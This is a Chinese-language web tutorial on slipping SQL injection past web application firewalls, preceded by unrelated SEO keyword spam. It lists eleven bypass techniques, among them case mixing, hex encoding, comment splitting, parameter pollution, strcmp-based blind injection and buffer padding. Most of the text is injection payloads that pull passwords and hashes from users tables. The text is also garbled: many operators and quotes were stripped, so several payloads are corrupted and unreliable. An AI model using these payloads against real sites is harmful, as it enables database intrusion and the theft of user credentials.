济南行业网站开发,天津注册公司流程和费用标准,免费代运营,好看的登录页面自适应模板1.大小写绕过这个大家都很熟悉#xff0c;对于一些太垃圾的WAF效果显著#xff0c;比如拦截了union#xff0c;那就使用Union UnIoN等等绕过。2.简单编码绕过比如WAF检测关键字#xff0c;那么我们让他检测不到就可以了。比如检测union#xff0c;那么我们就用%55也就是U的…1.大小写绕过这个大家都很熟悉对于一些太垃圾的WAF效果显著比如拦截了union那就使用Union UnIoN等等绕过。2.简单编码绕过比如WAF检测关键字那么我们让他检测不到就可以了。比如检测union那么我们就用%55也就是U的16进制编码来代替Uunion写成 %55nION结合大小写也可以绕过一些WAF你可以随意替换一个或几个都可以。也还有大家在Mysql注入中比如表名或是load文件的时候会把文件名或是表明用16进制编码来绕过WAF都是属于这类。3.注释绕过这种情况比较少适用于WAF只是过滤了一次危险的语句而没有阻断我们的整个查询。01./?id1unionselect1,2,3/*比如对于上面这条查询WAF过滤了一次union和select那么我们在之前在写一个注释的语句让他把注释里面的过滤掉并不影响我们的查询。所以绕过语句就是01./?id1/*union*/union/*select*/select1,2,3/*还有一种和注释有关的绕过比如01.index.php?page_id-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…可以看到只要我们把敏感词放到注释里面注意前面要加一个4.分隔重写绕过还是上面的例子适用于那种WAF采用了正则表达式的情况会检测所有的敏感字而不在乎你写在哪里有几个就过滤几个。我们可以通过注释分开敏感字,这样WAF的正则不起作用了而带入查询的时候并不影响我们的结果。01./?id1un/**/ionsel/**/ect1,2,3--至于重写绕过适用于WAF过滤了一次的情况和我们上传aaspsp马的原理一样我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。01.?id1 ununionion select 1,2,3--5.Http参数污染(HPP)比如我们有这样的语句01./?id1 union select1,2,3fromuserswhereid1--我们可以重复一次前面的id值添加我们的值来绕过id会在查询时变成逗号01./?id1 union select1id2,3fromuserswhereid1--这种情况成功的条件比较多取决于具体的WAF实现。再给出一个例子说明用法01./?id1/**/union/*id*/select/*id*/pwd/*id*/from/*id*/users--具体分析的话就涉及到查询语句的后台代码的编写了。比如服务器是这样写的01.select * from table where a.$_GET[a]. and b.$_GET[b]. limit .$_GET[c];那我们可以构造这样的注入语句01./?a1union/*b*/select1,pass/*c*/fromusers--最终解析为01.select * from table where a1 union/* and b*/select 1,pass/*limit */from users--可以看到这种方式其实比较适合白盒测试而对于黑盒渗透的话用起来比较麻烦。但是也可以一试。6.使用逻辑运算符 or /and绕过01./?id1OR0x500x5002./?id1andascii(lower(mid((selectpwdfromuserslimit1,1),1,1)))74顺便解释一下第二句话从最里面的括号开始分析selectpwdfromuserslimit1,1 这句是从users表里查询pwd字段的第一条记录比如是admin然后mid(上一句),1,1就是取admin的第一个字符也就是alower(上一句)就是把字符转换为小写然后ascii就是把a转换成ascii码看等不等于74。7.比较操作符替换包括! 不等于不等于 小于大于这些都可以用来替换来绕过。比如上一个例子要判断是不是74假设被过滤那么我们可以判断是不是大于73是不是小于75然后就知道是74了。。很多WAF都会忘了这个。8.同功能函数替换Substring()可以用mid()substr()这些函数来替换都是用来取字符串的某一位字符的。Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换。Benchmark()可以用sleep()来替换这两个使用在基于延时的盲注中有机会给大家介绍。如果连这些都屏蔽了还有一种新的方法01. substring((select password),1,1) 0x7002.substr((select password),1,1) 0x7003.mid((select password),1,1) 0x70比如这三条都是从password里判断第一个字符的值可以用01.strcmp(left(password,1), 0x69) 102.strcmp(left(password,1), 0x70) 003.strcmp(left(password,1), 0x71) -1来替换left用来取字符串左起1位的值strcmp用来比较两个值如果比较结果相等就为0左边小的话就为-1否则为1。还有我前几篇说过的group_concat 和concat和concat_ws也可以互相替换。9.盲注无需or和and比如有这样一个注入点01.index.php?uid123and、or被过滤了其实有一种更直接的方法我们直接修改123为我们的语句生成的01.index.php?uidstrcmp(left((selecthashfromuserslimit0,1),1),0x42)123123的时候页面是正确的我们现在在盲猜hash的第一位如果第一位等于0x42也就是B那么strcmp结果为00123123所以页面应该是正确的。否则就说明不是B就这样猜不用and和or了。10. 加括号01./?id1union(select1,2fromusers)比如上面这一条被WAF拦截了。可以试试加一些括号01./?id1union(select1,2fromxxx)02./?id(1)union(select(1),mid(hash,1,32)from(users))03./?id1union(select1,concat(login,hash)fromusers)04./?id(1)union(((((((select(1),hex(hash)from(users))))))))05./?id(1)or(0x500x50)11.缓冲区溢出绕过这个是从国外一个博客看到的01.id1 and (select 1)(Select 0xAAAAAAAAAAAAAAAAAAAAA)UnIoNSeLeCT1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2602.,27,28,29,30,31,32,33,34,35,36–其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好一般要求1000个以上。